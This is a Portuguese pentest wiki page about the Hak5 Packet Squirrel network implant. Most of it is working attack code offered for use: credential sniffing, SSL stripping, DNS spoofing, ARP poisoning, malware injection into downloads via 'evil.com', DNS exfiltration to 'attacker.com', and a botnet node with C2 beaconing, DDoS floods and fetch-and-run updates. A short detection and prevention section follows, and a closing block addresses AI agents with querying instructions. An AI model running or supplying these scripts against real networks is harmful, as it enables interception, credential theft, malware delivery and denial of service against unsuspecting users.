# Packet Squirrel

## 📑 **Índice**

1. [Fundamentos do Packet Squirrel](#-fundamentos-do-packet-squirrel)
2. [Arquitetura e Componentes](#-arquitetura-e-componentes)
3. [Modos de Operação](#-modos-de-operação)
4. [Técnicas de Ataque](#-técnicas-de-ataque)
5. [Implementação de Payloads](#-implementação-de-payloads)
6. [Cenários de Ataque Avançados](#-cenários-de-ataque-avançados)
7. [Detecção e Prevenção](#-detecção-e-prevenção)
8. [Ferramentas e Hardware](#-ferramentas-e-hardware)

***

## 🔍 **Fundamentos do Packet Squirrel**

### **O que é o Packet Squirrel?**

O **Packet Squirrel** é um dispositivo de hardware desenvolvido pela Hak5, projetado para ser um "TAP de rede inteligente" e "proxy de ataque" em formato de dongle. Ele se conecta inline entre dois dispositivos de rede (como um computador e um switch, ou um modem e um roteador) e permite interceptar, modificar, redirecionar e injetar tráfego em tempo real. Diferente de um TAP passivo, o Packet Squirrel é ativo e programável, rodando um Linux embarcado (OpenWrt) que permite executar scripts complexos (payloads) diretamente no dispositivo.

### **Contexto Histórico**

```yaml
Evolução do Packet Squirrel:
  2017: Lançamento do Packet Squirrel pela Hak5
  2018: Primeiros payloads de MITM e redirecionamento
  2019: Integração com Ferret (captura de credenciais)
  2020: Suporte a VPN (WireGuard/OpenVPN)
  2021: Payloads de exfiltração e backdoor
  2022: Packet Squirrel Mark II (melhorias de hardware)
  2024: Uso em ataques de supply chain e edge computing

Motivação:
  ✅ Dispositivo ultraportátil (tamanho de um pendrive)
  ✅ Inserção inline invisível
  ✅ Programável via MicroSD (payloads)
  ✅ Alimentado pela própria rede (USB ou PoE)
  ✅ Pode operar como "lobo solitário" por meses
```

### **Comparação com Dispositivos Similares**

| Dispositivo         | Função                 | Tamanho  | Alimentação | Inserção | Preço (USD) |
| ------------------- | ---------------------- | -------- | ----------- | -------- | ----------- |
| **Packet Squirrel** | TAP inteligente + MITM | Pendrive | USB/PoE     | Inline   | \~$60-100   |
| **Bash Bunny**      | USB attack             | Pendrive | USB         | USB port | \~$50-90    |
| **LAN Turtle**      | Ethernet implant       | Tiny     | PoE         | Inline   | \~$50-80    |
| **PLANET**          | TAP passivo            | Caixa    | Nenhuma     | Inline   | \~$100-300  |
| **Raspberry Pi**    | DIY TAP                | Caixa    | USB/PoE     | Inline   | \~$50-100   |

***

## 🏗️ **Arquitetura e Componentes**

### **Componentes Internos**

```yaml
Hardware Packet Squirrel (Mark II):
  Processador: MediaTek MT7628 (580 MHz)
  Memória RAM: 128 MB DDR2
  Armazenamento: 16 MB Flash + MicroSD (até 256 GB)
  Portas: 2x Ethernet (10/100 Mbps)
  Conectividade: USB-C (alimentação/programação)
  Sistema: OpenWrt (Linux embarcado)
  Dimensões: 63 x 33 x 15 mm (tamanho de pendrive)

Portas:
  - ETH0: Bridge/Transparent (conecta ao switch/roteador)
  - ETH1: Bridge/Transparent (conecta ao dispositivo alvo)
  - USB-C: Alimentação e acesso serial
  - MicroSD: Armazenamento de payloads e logs
```

### **Diagrama de Blocos**

```mermaid
graph TD
    subgraph "Packet Squirrel"
        A[ETH0 - WAN/Upstream] --> B[Switch Interno]
        B --> C[ETH1 - LAN/Downstream]
        
        B --> D[Processador MT7628]
        D --> E[RAM 128MB]
        D --> F[Flash 16MB]
        D --> G[MicroSD]
        
        D --> H[USB-C]
        H --> I[Alimentação]
        H --> J[Console Serial]
    end
    
    subgraph "Modos de Operação"
        D --> K[Bridge Mode]
        D --> L[Router Mode]
        D --> M[VPN Mode]
        D --> N[Packet Capture]
    end
```

### **Fluxo de Tráfego Normal vs Ataque**

```mermaid
sequenceDiagram
    participant C as Cliente
    participant PS as Packet Squirrel
    participant S as Servidor

    Note over C,S: Tráfego Normal (Bridge Mode)
    C->>PS: Pacote original
    PS->>S: Encaminha sem modificação
    S-->>PS: Resposta
    PS-->>C: Encaminha resposta

    Note over C,S: Modo Ataque (MITM)
    C->>PS: Pacote original
    PS->>PS: Intercepta e modifica
    PS->>S: Pacote modificado
    S-->>PS: Resposta
    PS->>PS: Intercepta e modifica
    PS-->>C: Resposta modificada
```

***

## 🎮 **Modos de Operação**

### **1. Bridge Mode (Transparente)**

```yaml
Características:
  - Dispositivo invisível na rede
  - Sem IP próprio
  - Encaminhamento transparente
  - Ideal para ataques furtivos

Uso:
  - MITM silencioso
  - Captura de tráfego
  - Injeção de payloads
```

### **2. Router Mode**

```yaml
Características:
  - Dispositivo tem IP próprio
  - NAT entre as interfaces
  - Pode atuar como gateway

Uso:
  - Redirecionamento de tráfego
  - VPN endpoint
  - Ponto de acesso Wi-Fi
```

### **3. VPN Mode**

```yaml
Características:
  - Túnel criptografado
  - Exfiltração segura
  - C2 remoto

Uso:
  - Envio de dados capturados
  - Comando e controle
  - Atualização de payloads
```

### **4. Packet Capture Mode**

```yaml
Características:
  - Captura passiva
  - Armazenamento em MicroSD
  - Filtros configuráveis

Uso:
  - Coleta de evidências
  - Análise forense
  - Treinamento de IA
```

***

## ⚔️ **Técnicas de Ataque**

### **1. Captura de Credenciais (HTTP/HTTPS)**

```python
#!/usr/bin/env python3
# packet_squirrel_creds.py - Payload para captura de credenciais

from scapy.all import *
import re
import time

class PacketSquirrelCredHarvester:
    """
    Payload para Packet Squirrel - Captura de credenciais
    """
    
    def __init__(self, interface='br-lan'):
        self.interface = interface
        self.credentials = []
        
        # Padrões para captura
        self.patterns = {
            'http_post': rb'POST .* HTTP/1.[01]',
            'basic_auth': rb'Authorization: Basic ([A-Za-z0-9+/=]+)',
            'form_data': rb'([a-z_]+)=([^&]+)&?',
            'jwt': rb'eyJ[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+'
        }
    
    def packet_handler(self, packet):
        """
        Processar pacote capturado
        """
        if packet.haslayer(TCP) and packet.haslayer(Raw):
            payload = bytes(packet[Raw])
            
            # HTTP Basic Auth
            basic_match = re.search(self.patterns['basic_auth'], payload)
            if basic_match:
                import base64
                decoded = base64.b64decode(basic_match.group(1)).decode()
                print(f"[!] Basic Auth: {decoded}")
                self.credentials.append(('basic', decoded))
            
            # Form data
            if b'POST' in payload and b'application/x-www-form-urlencoded' in payload:
                # Extrair campos do formulário
                body = payload.split(b'\r\n\r\n')[-1]
                matches = re.findall(self.patterns['form_data'], body)
                if matches:
                    creds = {}
                    for key, value in matches:
                        creds[key.decode()] = value.decode()
                    print(f"[!] Form Creds: {creds}")
                    self.credentials.append(('form', creds))
            
            # JWT Tokens
            jwt_match = re.search(self.patterns['jwt'], payload)
            if jwt_match:
                print(f"[!] JWT: {jwt_match.group().decode()[:50]}...")
                self.credentials.append(('jwt', jwt_match.group().decode()))
    
    def start_capture(self):
        """
        Iniciar captura em tempo real
        """
        print("[*] Packet Squirrel - Captura de credenciais iniciada")
        sniff(iface=self.interface, prn=self.packet_handler, store=0)
    
    def save_credentials(self, path='/mnt/mmcblk0p1/creds.log'):
        """
        Salvar credenciais no MicroSD
        """
        with open(path, 'a') as f:
            for cred in self.credentials:
                f.write(f"{time.time()}: {cred}\n")
        print(f"[+] Credenciais salvas em {path}")

# Executar no Packet Squirrel
# harvester = PacketSquirrelCredHarvester()
# harvester.start_capture()
```

### **2. SSL Stripping (HTTPS → HTTP)**

```python
#!/usr/bin/env python3
# packet_squirrel_sslstrip.py

import netfilterqueue
import scapy.all as scapy
import subprocess

class PacketSquirrelSSLStrip:
    """
    SSL Stripping via Packet Squirrel
    """
    
    def __init__(self):
        self.setup_iptables()
    
    def setup_iptables(self):
        """
        Configurar redirecionamento de tráfego
        """
        # Redirecionar todo tráfego HTTP para porta 8080
        subprocess.call([
            'iptables', '-t', 'nat', '-A', 'PREROUTING',
            '-p', 'tcp', '--dport', '80',
            '-j', 'REDIRECT', '--to-port', '8080'
        ])
        
        # Redirecionar HTTPS para porta 8443 (sslstrip)
        subprocess.call([
            'iptables', '-t', 'nat', '-A', 'PREROUTING',
            '-p', 'tcp', '--dport', '443',
            '-j', 'REDIRECT', '--to-port', '8443'
        ])
        
        print("[+] iptables configurado")
    
    def modify_packet(self, packet):
        """
        Modificar pacote para downgrade HTTPS
        """
        ip_packet = scapy.IP(packet.get_payload())
        
        if ip_packet.haslayer(scapy.TCP):
            payload = bytes(ip_packet[scapy.Raw]) if ip_packet.haslayer(scapy.Raw) else b''
            
            # Substituir https:// por http://
            modified = payload.replace(b'https://', b'http://')
            modified = modified.replace(b'HTTPS', b'HTTP')
            
            if modified != payload:
                ip_packet[scapy.Raw].load = modified
                del ip_packet[scapy.IP].chksum
                del ip_packet[scapy.TCP].chksum
                packet.set_payload(bytes(ip_packet))
                print("[+] SSL Strip aplicado")
        
        packet.accept()
    
    def start_sslstrip(self):
        """
        Iniciar SSL stripping
        """
        print("[*] Packet Squirrel - SSL Stripping iniciado")
        
        queue = netfilterqueue.NetfilterQueue()
        queue.bind(0, self.modify_packet)
        queue.run()

# Uso
# sslstrip = PacketSquirrelSSLStrip()
# sslstrip.start_sslstrip()
```

### **3. DNS Spoofing**

```python
#!/usr/bin/env python3
# packet_squirrel_dns_spoof.py

from scapy.all import *
import time

class PacketSquirrelDNSSpoof:
    """
    DNS Spoofing via Packet Squirrel
    """
    
    def __init__(self, interface='br-lan'):
        self.interface = interface
        self.spoof_table = {
            b'google.com': '192.168.1.100',
            b'facebook.com': '192.168.1.100',
            b'bank.com': '192.168.1.100',
            b'github.com': '192.168.1.100'
        }
    
    def dns_response(self, packet):
        """
        Gerar resposta DNS falsa
        """
        dns = packet[DNS]
        qname = dns.qd.qname
        
        if qname in self.spoof_table:
            print(f"[!] DNS Spoof: {qname.decode()} -> {self.spoof_table[qname]}")
            
            # Criar resposta DNS
            ip = self.spoof_table[qname]
            response = IP(dst=packet[IP].src, src=packet[IP].dst) / \
                       UDP(dport=packet[UDP].sport, sport=packet[UDP].dport) / \
                       DNS(id=dns.id, qr=1, aa=1, qd=dns.qd,
                           an=DNSRR(rrname=qname, type=1, rclass=1, ttl=300, rdata=ip))
            
            send(response, iface=self.interface, verbose=False)
            return True
        
        return False
    
    def packet_handler(self, packet):
        """
        Processar pacote DNS
        """
        if packet.haslayer(DNS) and packet[IP].proto == 17:  # UDP
            if packet[DNS].qr == 0:  # Query
                self.dns_response(packet)
    
    def start_spoof(self):
        """
        Iniciar DNS spoofing
        """
        print("[*] Packet Squirrel - DNS Spoofing iniciado")
        sniff(iface=self.interface, prn=self.packet_handler, store=0)

# Uso
# spoof = PacketSquirrelDNSSpoof()
# spoof.start_spoof()
```

### **4. Redirecionamento de Tráfego (MITM)**

```python
#!/usr/bin/env python3
# packet_squirrel_redirect.py

import scapy.all as scapy
import subprocess

class PacketSquirrelRedirect:
    """
    Redirecionamento de tráfego malicioso
    """
    
    def __init__(self, target_ip, redirect_ip):
        self.target_ip = target_ip
        self.redirect_ip = redirect_ip
        
        # Configurar redirecionamento
        self.setup_redirect()
    
    def setup_redirect(self):
        """
        Configurar iptables para redirecionamento
        """
        # Redirecionar tráfego HTTP/HTTPS
        subprocess.call([
            'iptables', '-t', 'nat', '-A', 'PREROUTING',
            '-s', self.target_ip, '-p', 'tcp', '--dport', '80',
            '-j', 'DNAT', '--to-destination', self.redirect_ip
        ])
        
        subprocess.call([
            'iptables', '-t', 'nat', '-A', 'PREROUTING',
            '-s', self.target_ip, '-p', 'tcp', '--dport', '443',
            '-j', 'DNAT', '--to-destination', self.redirect_ip
        ])
        
        print(f"[+] Tráfego de {self.target_ip} redirecionado para {self.redirect_ip}")
    
    def arp_poison(self, target_ip, gateway_ip):
        """
        ARP poisoning para MITM
        """
        target_mac = self.get_mac(target_ip)
        gateway_mac = self.get_mac(gateway_ip)
        
        # ARP reply falso
        arp_target = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip)
        arp_gateway = scapy.ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip)
        
        while True:
            scapy.send(arp_target, verbose=False)
            scapy.send(arp_gateway, verbose=False)
            time.sleep(2)
    
    def get_mac(self, ip):
        """
        Obter MAC address
        """
        arp_request = scapy.ARP(pdst=ip)
        broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
        packet = broadcast / arp_request
        answered = scapy.srp(packet, timeout=2, verbose=False)[0]
        
        if answered:
            return answered[0][1].hwsrc
        return None

# Uso
# redirect = PacketSquirrelRedirect('192.168.1.100', '192.168.1.50')
```

### **5. Injeção de Malware em Downloads**

```python
#!/usr/bin/env python3
# packet_squirrel_inject.py

from scapy.all import *
import re

class PacketSquirrelInjector:
    """
    Injeção de malware em downloads via Packet Squirrel
    """
    
    def __init__(self, evil_url):
        self.evil_url = evil_url
        self.injection_count = 0
        
        # Padrões de arquivos para infectar
        self.file_patterns = {
            b'.exe': self.inject_exe,
            b'.msi': self.inject_exe,
            b'.zip': self.inject_zip,
            b'.pdf': self.inject_pdf
        }
    
    def inject_exe(self, packet, original_url):
        """
        Substituir URL do executável
        """
        if packet.haslayer(Raw):
            payload = bytes(packet[Raw])
            
            # Substituir URL do download
            modified = payload.replace(original_url.encode(), self.evil_url.encode())
            
            if modified != payload:
                packet[Raw].load = modified
                self.injection_count += 1
                print(f"[+] Download EXE redirecionado (#{self.injection_count})")
                return packet
        
        return None
    
    def inject_zip(self, packet, original_url):
        """
        Substituir arquivo ZIP
        """
        # Similar ao inject_exe
        return self.inject_exe(packet, original_url)
    
    def inject_pdf(self, packet, original_url):
        """
        Infectar PDF com JavaScript
        """
        if packet.haslayer(Raw):
            payload = bytes(packet[Raw])
            
            if b'%PDF' in payload:
                # Injetar JavaScript malicioso
                js_payload = b'/JS (app.alert("Hacked");) /JavaScript'
                modified = payload.replace(b'%%EOF', js_payload + b'%%EOF')
                
                packet[Raw].load = modified
                print("[+] PDF infectado com JavaScript")
                return packet
        
        return None
    
    def packet_handler(self, packet):
        """
        Processar pacote HTTP
        """
        if packet.haslayer(TCP) and packet.haslayer(Raw):
            payload = bytes(packet[Raw])
            
            # Verificar resposta de download
            if b'Content-Disposition: attachment' in payload:
                # Extrair URL do download
                url_match = re.search(b'(?:Location|URL): (https?://[^\s]+)', payload)
                if url_match:
                    original_url = url_match.group(1).decode()
                    
                    for pattern, inject_func in self.file_patterns.items():
                        if pattern in payload:
                            modified_packet = inject_func(packet, original_url)
                            if modified_packet:
                                # Enviar pacote modificado
                                sendp(modified_packet, iface='br-lan', verbose=False)
                                return
            
            # Pacote não modificado (pass-through)
            sendp(packet, iface='br-lan', verbose=False)
    
    def start_injection(self):
        """
        Iniciar injeção de malware
        """
        print(f"[*] Packet Squirrel - Injeção de malware iniciada")
        print(f"[*] Redirecionando downloads para {self.evil_url}")
        sniff(iface='br-lan', prn=self.packet_handler, store=0)

# Uso
# injector = PacketSquirrelInjector('https://evil.com/malware.exe')
# injector.start_injection()
```

***

## 📜 **Payloads para Packet Squirrel**

### **Payload: Captura de Tráfego**

```bash
#!/bin/bash
# payload_capture.sh - Captura de tráfego para MicroSD

# Configurar interfaces
LED SETUP

# Iniciar captura
tcpdump -i br-lan -s 0 -C 100 -G 3600 -W 24 -w /mnt/mmcblk0p1/capture_%Y%m%d_%H%M%S.pcap &

# LED de sucesso
LED FINISH
```

### **Payload: DNS Spoofing**

```bash
#!/bin/bash
# payload_dns_spoof.sh

LED SETUP

# Configurar DNS spoofing
cat > /tmp/dnsmasq.conf << EOF
address=/google.com/192.168.1.100
address=/facebook.com/192.168.1.100
address=/bank.com/192.168.1.100
EOF

# Reiniciar dnsmasq com configuração modificada
killall dnsmasq
dnsmasq -C /tmp/dnsmasq.conf

LED FINISH
```

### **Payload: SSL Strip**

```bash
#!/bin/bash
# payload_sslstrip.sh

LED SETUP

# Instalar ferramentas
opkg update
opkg install iptables-mod-nat-extra

# Configurar redirecionamento
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 8443

# Iniciar sslstrip
sslstrip -l 8443 -k 8080 &

LED FINISH
```

### **Payload: VPN Tunnel**

```bash
#!/bin/bash
# payload_vpn.sh

LED SETUP

# Configurar WireGuard
wg setconf wg0 /mnt/mmcblk0p1/wg0.conf
wg-quick up wg0

# Redirecionar tráfego capturado via VPN
iptables -t nat -A POSTROUTING -o wg0 -j MASQUERADE

LED FINISH
```

### **Payload: Exfiltração via DNS**

```bash
#!/bin/bash
# payload_dns_exfil.sh

LED SETUP

# Capturar e exfiltrar via DNS
tcpdump -i br-lan -l -n | while read line; do
    # Codificar linha em base64
    encoded=$(echo "$line" | base64 -w0)
    # Enviar via DNS query
    nslookup "${encoded}.exfil.attacker.com" 8.8.8.8
done

LED FINISH
```

***

## 🦠 **Packet Squirrel como Botnet On-Premise**

```python
#!/usr/bin/env python3
# packet_squirrel_botnet.py

import threading
import time
import requests
import subprocess
import os

class PacketSquirrelBotnet:
    """
    Packet Squirrel como nó de botnet
    """
    
    def __init__(self, c2_domain):
        self.c2_domain = c2_domain
        self.device_id = self.get_device_id()
        self.running = True
        
        # Payloads de ataque
        self.attack_methods = {
            'ddos_http': self.ddos_http,
            'ddos_syn': self.ddos_syn,
            'scan': self.network_scan,
            'exfil': self.exfiltrate_data,
            'update': self.update_payload
        }
    
    def get_device_id(self):
        """
        Obter ID único do dispositivo
        """
        try:
            with open('/sys/class/net/eth0/address', 'r') as f:
                mac = f.read().strip()
            return mac.replace(':', '')[-8:]
        except:
            return 'squirrel_001'
    
    def beacon(self):
        """
        Enviar heartbeat para C2 via DNS
        """
        while self.running:
            try:
                # DNS tunneling para evitar detecção
                domain = f"beacon.{self.device_id}.{self.c2_domain}"
                subprocess.call(f"nslookup {domain}", shell=True, stdout=subprocess.DEVNULL)
            except:
                pass
            
            time.sleep(30)  # Beacon a cada 30 segundos
    
    def ddos_http(self, target):
        """
        Ataque HTTP flood
        """
        while self.running:
            try:
                requests.get(f"http://{target}", timeout=1)
            except:
                pass
    
    def ddos_syn(self, target):
        """
        Ataque SYN flood
        """
        from scapy.all import IP, TCP, send
        while self.running:
            packet = IP(dst=target) / TCP(dport=80, flags='S')
            send(packet, verbose=False)
    
    def network_scan(self, network):
        """
        Escanear rede local
        """
        from scapy.all import ARP, Ether, srp
        arp = ARP(pdst=network)
        ether = Ether(dst="ff:ff:ff:ff:ff:ff")
        packet = ether / arp
        result = srp(packet, timeout=3, verbose=False)[0]
        
        devices = []
        for sent, received in result:
            devices.append({'ip': received.psrc, 'mac': received.hwsrc})
        
        return devices
    
    def exfiltrate_data(self):
        """
        Exfiltrar dados capturados
        """
        # Enviar logs via DNS
        log_file = '/mnt/mmcblk0p1/capture.pcap'
        if os.path.exists(log_file):
            with open(log_file, 'rb') as f:
                data = f.read()
            
            # Enviar em chunks via DNS
            chunks = [data[i:i+50] for i in range(0, len(data), 50)]
            for chunk in chunks:
                import base64
                encoded = base64.b64encode(chunk).decode()
                domain = f"{encoded}.exfil.{self.c2_domain}"
                subprocess.call(f"nslookup {domain}", shell=True, stdout=subprocess.DEVNULL)
                time.sleep(0.1)
    
    def update_payload(self, url):
        """
        Atualizar payload malicioso
        """
        response = requests.get(url)
        if response.status_code == 200:
            with open('/mnt/mmcblk0p1/update.sh', 'wb') as f:
                f.write(response.content)
            subprocess.call('chmod +x /mnt/mmcblk0p1/update.sh', shell=True)
            subprocess.call('/mnt/mmcblk0p1/update.sh', shell=True)
    
    def check_commands(self):
        """
        Verificar comandos do C2
        """
        while self.running:
            try:
                # Usar DNS TXT records para comandos
                result = subprocess.run(
                    f"nslookup -type=TXT cmd.{self.device_id}.{self.c2_domain}",
                    shell=True, capture_output=True, text=True
                )
                
                if 'command=' in result.stdout:
                    # Parsear comando
                    parts = result.stdout.split('command=')
                    if len(parts) > 1:
                        command = parts[1].split()[0].strip('"')
                        self.execute_command(command)
            except:
                pass
            
            time.sleep(10)
    
    def execute_command(self, command):
        """
        Executar comando recebido
        """
        parts = command.split(':')
        if len(parts) >= 2:
            method = parts[0]
            target = parts[1]
            
            if method in self.attack_methods:
                thread = threading.Thread(target=self.attack_methods[method], args=(target,))
                thread.start()
                print(f"[+] Executando {method} contra {target}")
    
    def start(self):
        """
        Iniciar botnet
        """
        print(f"[*] Packet Squirrel Botnet {self.device_id} iniciado")
        
        # Iniciar threads
        threading.Thread(target=self.beacon).start()
        threading.Thread(target=self.check_commands).start()
        
        # Iniciar captura de tráfego
        subprocess.Popen('tcpdump -i br-lan -w /mnt/mmcblk0p1/capture.pcap', shell=True)

# Uso
# botnet = PacketSquirrelBotnet('attacker.com')
# botnet.start()
```

***

## 🔍 **Detecção e Prevenção**

### **Indicadores de Comprometimento (IOCs)**

```yaml
Indicadores de Packet Squirrel na Rede:
  
  Físicos:
    - Dispositivo inline desconhecido no cabo de rede
    - Pequeno dongle conectado entre dispositivos
    - LEDs piscando em padrão incomum
    - Dispositivo aquecido (processamento ativo)
  
  Elétricos:
    - Atenuação de sinal no cabo
    - Latência adicional (5-10ms)
    - Jitter anormal
  
  De Rede:
    - Tráfego DNS para domínios suspeitos
    - Consultas TXT record incomuns
    - Pacotes HTTP redirecionados
    - Certificados SSL inválidos
  
  Comportamentais:
    - Usuários relatando redirecionamentos
    - Downloads corrompidos
    - Lentidão na navegação
```

### **Script de Detecção**

```python
#!/usr/bin/env python3
# detect_packet_squirrel.py

import subprocess
import time
import statistics

class PacketSquirrelDetector:
    """
    Detector de Packet Squirrel na rede
    """
    
    @staticmethod
    def check_latency(host, count=100):
        """
        Verificar latência anormal (TAP adiciona latência)
        """
        result = subprocess.run(
            ['ping', '-c', str(count), host],
            capture_output=True, text=True
        )
        
        times = []
        for line in result.stdout.split('\n'):
            if 'time=' in line:
                time_ms = float(line.split('time=')[1].split(' ')[0])
                times.append(time_ms)
        
        if times:
            return {
                'avg': statistics.mean(times),
                'stddev': statistics.stdev(times) if len(times) > 1 else 0,
                'min': min(times),
                'max': max(times)
            }
        return None
    
    @staticmethod
    def check_ttl_anomaly(host):
        """
        Verificar TTL inconsistente
        """
        result = subprocess.run(
            ['ping', '-c', '10', host],
            capture_output=True, text=True
        )
        
        ttls = []
        for line in result.stdout.split('\n'):
            if 'ttl=' in line:
                ttl = int(line.split('ttl=')[1].split(' ')[0])
                ttls.append(ttl)
        
        if len(set(ttls)) > 1:
            return True  # TTL inconsistente
        return False
    
    @staticmethod
    def check_dns_anomaly():
        """
        Verificar tráfego DNS suspeito
        """
        result = subprocess.run(
            ['tcpdump', '-i', 'eth0', '-n', '-c', '100', 'udp', 'port', '53'],
            capture_output=True, text=True, timeout=10
        )
        
        suspicious = []
        for line in result.stdout.split('\n'):
            # Procurar por domínios longos (exfiltração)
            if len(line) > 100 and 'A?' in line:
                suspicious.append(line)
        
        return suspicious

# Uso
# latency = PacketSquirrelDetector.check_latency('8.8.8.8')
# print(f"Latência média: {latency['avg']:.2f}ms")
```

### **Prevenção**

```yaml
Medidas de Prevenção:
  
  Físicas:
    - Inspecionar cabos e conectores
    - Lacrar portas de rede
    - Implementar detecção de dispositivos inline
    - Usar cabos com invólucros selados
  
  Técnicas:
    - Monitorar latência de links críticos
    - Implementar certificados SSL/TLS fixos (pinning)
    - Usar DNSSEC para prevenir spoofing
    - Monitorar tráfego DNS para domínios suspeitos
  
  Políticas:
    - Proibir dispositivos não autorizados
    - Auditorias físicas periódicas
    - Treinar equipe sobre riscos
```

***

## 🛒 **Hardware e Custos**

### **Packet Squirrel Original**

| Item                        | Especificação    | Preço (USD) | Preço (R$)  | Onde Encontrar            |
| --------------------------- | ---------------- | ----------- | ----------- | ------------------------- |
| **Packet Squirrel**         | Hak5 original    | \~$60-100   | \~R$300-500 | Hak5, eBay, Mercado Livre |
| **Packet Squirrel Mark II** | Versão melhorada | \~$80-120   | \~R$400-600 | Hak5, eBay                |

### **DIY Alternativas (Mais Baratas)**

| Componente                | Função            | Preço (R$)  | Onde Encontrar        |
| ------------------------- | ----------------- | ----------- | --------------------- |
| **Raspberry Pi Zero 2 W** | Processador       | \~R$150-200 | Shopee, Mercado Livre |
| **USB Ethernet Adapter**  | 2a porta Ethernet | \~R$30-50   | Shopee, AliExpress    |
| **MicroSD 32GB**          | Armazenamento     | \~R$30-40   | Qualquer loja         |
| **Case**                  | Invólucro         | \~R$20-30   | Impressão 3D          |
| **USB-C Power**           | Alimentação       | \~R$20-30   | Qualquer loja         |
| **Total DIY**             | Setup completo    | \~R$250-350 | -                     |

### **Links de Compra**

```yaml
Packet Squirrel Original:
  - Hak5: https://hak5.org/products/packet-squirrel
  - eBay: https://ebay.com (buscar "Packet Squirrel")
  - Mercado Livre: https://mercadolivre.com.br (buscar "Packet Squirrel")

Componentes DIY:
  - Raspberry Pi Zero 2 W: https://shopee.com.br (buscar "Raspberry Pi Zero 2 W")
  - USB Ethernet: https://s.click.aliexpress.com (buscar "USB to Ethernet adapter")
```

***

## 📊 **Conclusão**

### **Resumo Técnico**

```yaml
Packet Squirrel:
  ✅ Dispositivo ultraportátil (tamanho pendrive)
  ✅ Inserção inline invisível
  ✅ Programável via MicroSD (payloads em Bash/Python)
  ✅ Alimentado pela própria rede (USB/PoE)
  ✅ Múltiplos modos de ataque

Ameaças:
  - Captura de credenciais em tempo real
  - SSL stripping (HTTPS → HTTP)
  - DNS spoofing
  - Injeção de malware em downloads
  - Botnet on-premise
  - Exfiltração de dados via DNS
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/hardware/network-tap/packet-squirrel.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.